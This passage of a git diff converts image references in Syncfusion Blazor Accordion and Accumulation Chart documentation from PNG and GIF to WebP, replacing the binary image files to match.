@@ -181,4 +181,4 @@ The following example shows how to render a TreeView within the Accordion.
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LthqWrMKgwYXnecX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Treeview Integration in Blazor Accordion](../images/blazor-accordion-treeview-integration.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LthqWrMKgwYXnecX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Treeview Integration in Blazor Accordion](../images/blazor-accordion-treeview-integration.webp)" %}
diff --git a/blazor/accordion/how-to/prevent-expand-collapse-accordion-item.md b/blazor/accordion/how-to/prevent-expand-collapse-accordion-item.md
index 58cfd01755..e15e5f5a72 100644
--- a/blazor/accordion/how-to/prevent-expand-collapse-accordion-item.md
+++ b/blazor/accordion/how-to/prevent-expand-collapse-accordion-item.md
@@ -117,4 +117,4 @@ The following code example demonstrates how to prevent expand and collapse actio
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VthAChWqgyaWwIZu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Expanding or Collapsing Item in Blazor Accordion](../images/blazor-accordion-prevent-expand-collapse.gif)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VthAChWqgyaWwIZu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Expanding or Collapsing Item in Blazor Accordion](../images/blazor-accordion-prevent-expand-collapse.webp)" %}
diff --git a/blazor/accordion/how-to/show-hide-accordion-item.md b/blazor/accordion/how-to/show-hide-accordion-item.md
index 8f41419f60..1ca5f32372 100644
--- a/blazor/accordion/how-to/show-hide-accordion-item.md
+++ b/blazor/accordion/how-to/show-hide-accordion-item.md
@@ -138,4 +138,4 @@ In the following example, the specified accordion item will toggle between showi
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXBqMBMAATlJlwpr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hiding or showing items in Blazor Accordion](../images/blazor-accordion-show-hide-item.gif)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXBqMBMAATlJlwpr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hiding or showing items in Blazor Accordion](../images/blazor-accordion-show-hide-item.webp)" %}
diff --git a/blazor/accordion/images/Blazor-server-app-creation.png b/blazor/accordion/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/accordion/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/accordion/images/Blazor-server-app-creation.webp b/blazor/accordion/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/accordion/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/accordion/images/acrdnDatasource.png b/blazor/accordion/images/acrdnDatasource.png
deleted file mode 100644
index 5abb97d2bf..0000000000
Binary files a/blazor/accordion/images/acrdnDatasource.png and /dev/null differ
diff --git a/blazor/accordion/images/acrdnDatasource.webp b/blazor/accordion/images/acrdnDatasource.webp
new file mode 100644
index 0000000000..02a323c878
Binary files /dev/null and b/blazor/accordion/images/acrdnDatasource.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-add-remove-item.gif b/blazor/accordion/images/blazor-accordion-add-remove-item.gif
deleted file mode 100644
index e734b5f94f..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-add-remove-item.gif and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-add-remove-item.webp b/blazor/accordion/images/blazor-accordion-add-remove-item.webp
new file mode 100644
index 0000000000..514ac31ea9
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-add-remove-item.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-animation.gif b/blazor/accordion/images/blazor-accordion-animation.gif
deleted file mode 100644
index b799fec6ec..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-animation.gif and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-animation.webp b/blazor/accordion/images/blazor-accordion-animation.webp
new file mode 100644
index 0000000000..50786ce94c
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-animation.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-border-style.png b/blazor/accordion/images/blazor-accordion-border-style.png
deleted file mode 100644
index b50b3ec07a..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-border-style.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-border-style.webp b/blazor/accordion/images/blazor-accordion-border-style.webp
new file mode 100644
index 0000000000..01d6b30738
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-border-style.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-component.png b/blazor/accordion/images/blazor-accordion-component.png
deleted file mode 100644
index 92938da44c..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-component.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-component.webp b/blazor/accordion/images/blazor-accordion-component.webp
new file mode 100644
index 0000000000..02418e9528
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-component.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-data-binding.png b/blazor/accordion/images/blazor-accordion-data-binding.png
deleted file mode 100644
index a80eeb096c..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-data-binding.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-data-binding.webp b/blazor/accordion/images/blazor-accordion-data-binding.webp
new file mode 100644
index 0000000000..668ec74a9d
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-data-binding.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-enable-disable-item.gif b/blazor/accordion/images/blazor-accordion-enable-disable-item.gif
deleted file mode 100644
index 7bb11c2406..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-enable-disable-item.gif and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-enable-disable-item.webp b/blazor/accordion/images/blazor-accordion-enable-disable-item.webp
new file mode 100644
index 0000000000..af0e175e8b
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-enable-disable-item.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-expand-collapse-icon-style.png b/blazor/accordion/images/blazor-accordion-expand-collapse-icon-style.png
deleted file mode 100644
index 79229aae19..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-expand-collapse-icon-style.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-expand-collapse-icon-style.webp b/blazor/accordion/images/blazor-accordion-expand-collapse-icon-style.webp
new file mode 100644
index 0000000000..f701a45313
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-expand-collapse-icon-style.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-expand-items.png b/blazor/accordion/images/blazor-accordion-expand-items.png
deleted file mode 100644
index 3c5ffac10a..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-expand-items.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-expand-items.webp b/blazor/accordion/images/blazor-accordion-expand-items.webp
new file mode 100644
index 0000000000..b8972199eb
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-expand-items.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-header-content-style.png b/blazor/accordion/images/blazor-accordion-header-content-style.png
deleted file mode 100644
index 9c0c36d5f1..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-header-content-style.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-header-content-style.webp b/blazor/accordion/images/blazor-accordion-header-content-style.webp
new file mode 100644
index 0000000000..a2622e867d
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-header-content-style.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-header-icon.PNG b/blazor/accordion/images/blazor-accordion-header-icon.PNG
deleted file mode 100644
index b604bd76ba..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-header-icon.PNG and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-header-icon.webp b/blazor/accordion/images/blazor-accordion-header-icon.webp
new file mode 100644
index 0000000000..d5879140c5
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-header-icon.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-header-template.png b/blazor/accordion/images/blazor-accordion-header-template.png
deleted file mode 100644
index 8b10c96932..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-header-template.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-header-template.webp b/blazor/accordion/images/blazor-accordion-header-template.webp
new file mode 100644
index 0000000000..d6399843a3
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-header-template.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-item-cssclass-style.png b/blazor/accordion/images/blazor-accordion-item-cssclass-style.png
deleted file mode 100644
index 5c5ac9cd00..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-item-cssclass-style.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-item-cssclass-style.webp b/blazor/accordion/images/blazor-accordion-item-cssclass-style.webp
new file mode 100644
index 0000000000..dc1c8b2f80
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-item-cssclass-style.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-item-styles.png b/blazor/accordion/images/blazor-accordion-item-styles.png
deleted file mode 100644
index 1f8700e06d..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-item-styles.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-item-styles.webp b/blazor/accordion/images/blazor-accordion-item-styles.webp
new file mode 100644
index 0000000000..1442e75034
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-item-styles.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-multiple-expand-mode.png b/blazor/accordion/images/blazor-accordion-multiple-expand-mode.png
deleted file mode 100644
index a230b3c8ac..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-multiple-expand-mode.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-multiple-expand-mode.webp b/blazor/accordion/images/blazor-accordion-multiple-expand-mode.webp
new file mode 100644
index 0000000000..9c4b3dd66f
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-multiple-expand-mode.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-prevent-expand-collapse.gif b/blazor/accordion/images/blazor-accordion-prevent-expand-collapse.gif
deleted file mode 100644
index c33f74dd81..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-prevent-expand-collapse.gif and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-prevent-expand-collapse.webp b/blazor/accordion/images/blazor-accordion-prevent-expand-collapse.webp
new file mode 100644
index 0000000000..96e88d3278
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-prevent-expand-collapse.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-selected-item-style.png b/blazor/accordion/images/blazor-accordion-selected-item-style.png
deleted file mode 100644
index d3dfb4cfec..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-selected-item-style.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-selected-item-style.webp b/blazor/accordion/images/blazor-accordion-selected-item-style.webp
new file mode 100644
index 0000000000..5944852513
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-selected-item-style.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-selected-item-text-style.png b/blazor/accordion/images/blazor-accordion-selected-item-text-style.png
deleted file mode 100644
index 12d44be192..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-selected-item-text-style.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-selected-item-text-style.webp b/blazor/accordion/images/blazor-accordion-selected-item-text-style.webp
new file mode 100644
index 0000000000..8a4aafcb96
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-selected-item-text-style.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-show-hide-item.gif b/blazor/accordion/images/blazor-accordion-show-hide-item.gif
deleted file mode 100644
index 8ba1180d70..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-show-hide-item.gif and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-show-hide-item.webp b/blazor/accordion/images/blazor-accordion-show-hide-item.webp
new file mode 100644
index 0000000000..cbab8040b7
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-show-hide-item.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-single-expand-mode.png b/blazor/accordion/images/blazor-accordion-single-expand-mode.png
deleted file mode 100644
index d0226fb4cf..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-single-expand-mode.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-single-expand-mode.webp b/blazor/accordion/images/blazor-accordion-single-expand-mode.webp
new file mode 100644
index 0000000000..7ed3f7d966
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-single-expand-mode.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-treeview-integration.png b/blazor/accordion/images/blazor-accordion-treeview-integration.png
deleted file mode 100644
index c427cd945e..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-treeview-integration.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-treeview-integration.webp b/blazor/accordion/images/blazor-accordion-treeview-integration.webp
new file mode 100644
index 0000000000..14d4d58794
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-treeview-integration.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-with-nested-item.PNG b/blazor/accordion/images/blazor-accordion-with-nested-item.PNG
deleted file mode 100644
index 97f18e74cf..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-with-nested-item.PNG and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-with-nested-item.webp b/blazor/accordion/images/blazor-accordion-with-nested-item.webp
new file mode 100644
index 0000000000..323478045a
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-with-nested-item.webp differ
diff --git a/blazor/accordion/images/blazor-accordion-wizard.png b/blazor/accordion/images/blazor-accordion-wizard.png
deleted file mode 100644
index fbcc510976..0000000000
Binary files a/blazor/accordion/images/blazor-accordion-wizard.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-accordion-wizard.webp b/blazor/accordion/images/blazor-accordion-wizard.webp
new file mode 100644
index 0000000000..799eabbe9c
Binary files /dev/null and b/blazor/accordion/images/blazor-accordion-wizard.webp differ
diff --git a/blazor/accordion/images/blazor-app-interactive-mode.png b/blazor/accordion/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/accordion/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-app-interactive-mode.webp b/blazor/accordion/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/accordion/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/accordion/images/blazor-create-web-app.png b/blazor/accordion/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/accordion/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-create-web-app.webp b/blazor/accordion/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/accordion/images/blazor-create-web-app.webp differ
diff --git a/blazor/accordion/images/blazor-wasm-app-template.png b/blazor/accordion/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/accordion/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/accordion/images/blazor-wasm-app-template.webp b/blazor/accordion/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/accordion/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/accordion/images/contenttemplate.png b/blazor/accordion/images/contenttemplate.png
deleted file mode 100644
index 43036f6849..0000000000
Binary files a/blazor/accordion/images/contenttemplate.png and /dev/null differ
diff --git a/blazor/accordion/images/contenttemplate.webp b/blazor/accordion/images/contenttemplate.webp
new file mode 100644
index 0000000000..d5ada0fa9f
Binary files /dev/null and b/blazor/accordion/images/contenttemplate.webp differ
diff --git a/blazor/accordion/images/core.png b/blazor/accordion/images/core.png
deleted file mode 100644
index 9de6c37e94..0000000000
Binary files a/blazor/accordion/images/core.png and /dev/null differ
diff --git a/blazor/accordion/images/core.webp b/blazor/accordion/images/core.webp
new file mode 100644
index 0000000000..07d01112ab
Binary files /dev/null and b/blazor/accordion/images/core.webp differ
diff --git a/blazor/accordion/images/dynamicAccordion.png b/blazor/accordion/images/dynamicAccordion.png
deleted file mode 100644
index ac0e1dcb2c..0000000000
Binary files a/blazor/accordion/images/dynamicAccordion.png and /dev/null differ
diff --git a/blazor/accordion/images/dynamicAccordion.webp b/blazor/accordion/images/dynamicAccordion.webp
new file mode 100644
index 0000000000..521fc62231
Binary files /dev/null and b/blazor/accordion/images/dynamicAccordion.webp differ
diff --git a/blazor/accordion/images/enableDisableItem.png b/blazor/accordion/images/enableDisableItem.png
deleted file mode 100644
index d07d3f3bad..0000000000
Binary files a/blazor/accordion/images/enableDisableItem.png and /dev/null differ
diff --git a/blazor/accordion/images/enableDisableItem.webp b/blazor/accordion/images/enableDisableItem.webp
new file mode 100644
index 0000000000..3494d5f980
Binary files /dev/null and b/blazor/accordion/images/enableDisableItem.webp differ
diff --git a/blazor/accordion/images/mvc.png b/blazor/accordion/images/mvc.png
deleted file mode 100644
index e54e1061bf..0000000000
Binary files a/blazor/accordion/images/mvc.png and /dev/null differ
diff --git a/blazor/accordion/images/mvc.webp b/blazor/accordion/images/mvc.webp
new file mode 100644
index 0000000000..08031a696f
Binary files /dev/null and b/blazor/accordion/images/mvc.webp differ
diff --git a/blazor/accordion/style.md b/blazor/accordion/style.md
index 934759f0ea..85aeb53ac0 100644
--- a/blazor/accordion/style.md
+++ b/blazor/accordion/style.md
@@ -23,7 +23,7 @@ Use the following CSS to customize the [Accordion](https://help.syncfusion.com/c
 
 ```
 
-![Accordion border](./images/blazor-accordion-border-style.png)
+![Accordion border](./images/blazor-accordion-border-style.webp)
 
 ## Customizing the accordion items
 
@@ -38,7 +38,7 @@ Use the following CSS to customize the items of Accordion.
 
 ```
 
-![Accordion item style customization](./images/blazor-accordion-item-styles.png)
+![Accordion item style customization](./images/blazor-accordion-item-styles.webp)
 
 ## Customizing accordion item header content
 
@@ -53,7 +53,7 @@ Use the following CSS to customize the header content of Accordion control.
 
 ```
 
-![Accordion item header content style customization](./images/blazor-accordion-header-content-style.png)
+![Accordion item header content style customization](./images/blazor-accordion-header-content-style.webp)
 
 ## Customizing accordion expand and collapse icons
 
@@ -67,7 +67,7 @@ The following CSS can be viewed to customize the expand and collapse icons of th
 
 ```
 
-![Accordion toggle icon style customization](./images/blazor-accordion-expand-collapse-icon-style.png)
+![Accordion toggle icon style customization](./images/blazor-accordion-expand-collapse-icon-style.webp)
 
 ## Customizing the hover state of accordion
 
@@ -96,7 +96,7 @@ Use the following CSS to customize the selected accordion item and focus state.
 
 ```
 
-![Accordion selected item header customization](./images/blazor-accordion-selected-item-style.png)
+![Accordion selected item header customization](./images/blazor-accordion-selected-item-style.webp)
 
 Use the following CSS to customize the selected accordion item text.
 
@@ -110,7 +110,7 @@ Use the following CSS to customize the selected accordion item text.
 
 ```
 
-![Accordion selected item header text customization](./images/blazor-accordion-selected-item-text-style.png)
+![Accordion selected item header text customization](./images/blazor-accordion-selected-item-text-style.webp)
 
 ## Customize each accordion item header
 
@@ -144,4 +144,4 @@ You can customize each accordion item header by setting [AccordionItem.CssClass]
 </style>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZBqWBsAATytYBFq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Accordion Item Header Appearance Customization](./images/blazor-accordion-item-cssclass-style.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZBqWBsAATytYBFq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Accordion Item Header Appearance Customization](./images/blazor-accordion-item-cssclass-style.webp)" %}
diff --git a/blazor/accumulation-chart/adaptive-layout.md b/blazor/accumulation-chart/adaptive-layout.md
index 23f3ee7226..86a9cccbc0 100644
--- a/blazor/accumulation-chart/adaptive-layout.md
+++ b/blazor/accumulation-chart/adaptive-layout.md
@@ -50,7 +50,7 @@ When viewing the accumulation chart on mobile devices, some elements may not dis
 
 ```
 
-![Adaptive Layout in Blazor Accumulation Chart](images/adaptive-layout/blazor-accumulation-chart-adaptive-layout.png)
+![Adaptive Layout in Blazor Accumulation Chart](images/adaptive-layout/blazor-accumulation-chart-adaptive-layout.webp)
 
 The table below outlines the behavior of chart elements under specific conditions determined by chart height and width:
 
diff --git a/blazor/accumulation-chart/annotation.md b/blazor/accumulation-chart/annotation.md
index 037d6725b1..07b3c8c023 100644
--- a/blazor/accumulation-chart/annotation.md
+++ b/blazor/accumulation-chart/annotation.md
@@ -51,7 +51,7 @@ Annotations are texts, shapes, or images that are used to highlight a specific r
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhqChsUTScrGTjL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Annotation in Blazor Accumulation Chart](images/annotation/blazor-accumulation-chart-annotation.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhqChsUTScrGTjL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Annotation in Blazor Accumulation Chart](images/annotation/blazor-accumulation-chart-annotation.webp)" %}
 
 ## Region
 
@@ -97,7 +97,7 @@ The [Region](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Accu
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZrKsrMATIcPtyjZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Region](images/annotation/blazor-accumulation-chart-region.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZrKsrMATIcPtyjZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Region](images/annotation/blazor-accumulation-chart-region.webp)" %}
 
 ## Co-ordinate units
 
@@ -143,7 +143,7 @@ The [CoordinateUnits](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Ch
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNVgihWKpyvURKFW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart displays Co-ordinate Units](images/annotation/blazor-accumulation-chart-coordinate-unit.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNVgihWKpyvURKFW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart displays Co-ordinate Units](images/annotation/blazor-accumulation-chart-coordinate-unit.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Accumulation Chart Example](https://blazor.syncfusion.com/demos/chart/pie?theme=bootstrap5) to know about the various features of accumulation charts and how it is used to represent numeric proportional data.
 
diff --git a/blazor/accumulation-chart/center-label.md b/blazor/accumulation-chart/center-label.md
index eb407fb9b5..012f45630c 100644
--- a/blazor/accumulation-chart/center-label.md
+++ b/blazor/accumulation-chart/center-label.md
@@ -44,7 +44,7 @@ You can configure the text that appears in the center using the [Text](https://h
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hZBetHBdgvneoPva?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Center Label](./images/center-label/blazor-accumulation-chart-with-center-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hZBetHBdgvneoPva?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Center Label](./images/center-label/blazor-accumulation-chart-with-center-label.webp)" %}
 
 ## Hover Text
 
@@ -83,7 +83,7 @@ N> Line breaks can be provided to texts in the `HoverTextFormat` property using
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNBINdVRqvFzEVfG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Center Label Dynamic Text](./images/center-label/blazor-accumulation-chart-with-center-label-hover-text.gif)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNBINdVRqvFzEVfG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Center Label Dynamic Text](./images/center-label/blazor-accumulation-chart-with-center-label-hover-text.webp)" %}
 
 ## Customization
 
@@ -123,7 +123,7 @@ The position of the center label can be adjusted using the [XOffset](https://hel
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZryXRrRqbOzXVbD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Center Label Customization](./images/center-label/blazor-accumulation-chart-with-center-label-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZryXRrRqbOzXVbD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Center Label Customization](./images/center-label/blazor-accumulation-chart-with-center-label-customization.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Accumulation Chart Example](https://blazor.syncfusion.com/demos/chart/pie?theme=bootstrap5) to know about the various features of accumulation charts and how it is used to represent numeric proportional data.
 
diff --git a/blazor/accumulation-chart/chart-print.md b/blazor/accumulation-chart/chart-print.md
index 41d5736d9a..ac25571540 100644
--- a/blazor/accumulation-chart/chart-print.md
+++ b/blazor/accumulation-chart/chart-print.md
@@ -58,7 +58,7 @@ The `PrintAsync` method can be used to print a rendered chart directly from the
 
 ```
 
-![Printing in Blazor Accumulation Chart](images/print/blazor-accumulation-chart-printing.png)
+![Printing in Blazor Accumulation Chart](images/print/blazor-accumulation-chart-printing.webp)
 
 ## Export
 
diff --git a/blazor/accumulation-chart/chart-types/funnel.md b/blazor/accumulation-chart/chart-types/funnel.md
index 3cc5cfe26e..223f875c3d 100644
--- a/blazor/accumulation-chart/chart-types/funnel.md
+++ b/blazor/accumulation-chart/chart-types/funnel.md
@@ -45,7 +45,7 @@ documentation: ug
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZhgCrCUpgfyPyNU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Funnel Chart](../images/funnel/blazor-funnel-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZhgCrCUpgfyPyNU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Funnel Chart](../images/funnel/blazor-funnel-chart.webp)" %}
 
 ## Funnel Size
 
@@ -85,7 +85,7 @@ The size of the funnel chart can be customized by using the [Width](https://help
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNLAWVCgfAlkvtpq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Funnel Size in Blazor Funnel Chart](../images/funnel/blazor-funnel-chart-size-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNLAWVCgfAlkvtpq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Funnel Size in Blazor Funnel Chart](../images/funnel/blazor-funnel-chart-size-customization.webp)" %}
 
 N> The [Blazor Funnel Chart](https://blazor.syncfusion.com/demos/chart/funnel) example can be explored to learn to render and configure the funnel chart.
 
@@ -127,7 +127,7 @@ The neck size of the funnel chart can be customized by using the [NeckWidth](htt
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZVKshsATguqmNHu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Funnel Neck Size in Blazor Funnel Chart](../images/funnel/blazor-funnel-chart-neck-size.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZVKshsATguqmNHu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Funnel Neck Size in Blazor Funnel Chart](../images/funnel/blazor-funnel-chart-neck-size.webp)" %}
 
 ## Gap between funnel segments
 
@@ -167,7 +167,7 @@ The neck size of the funnel chart can be customized by using the [NeckWidth](htt
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDhgshWqpAulylIW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Funnel Chart with Gap](../images/funnel/blazor-funnel-chart-with-gap.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDhgshWqpAulylIW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Funnel Chart with Gap](../images/funnel/blazor-funnel-chart-with-gap.webp)" %}
 
 ## Funnel explode
 
@@ -207,7 +207,7 @@ Points can be exploded on mouse click by setting the [Explode](https://help.sync
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZLKMLsqzpZBowwH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Explode in Blazor Funnel Chart](../images/funnel/blazor-funnel-chart-explode.png)" %}
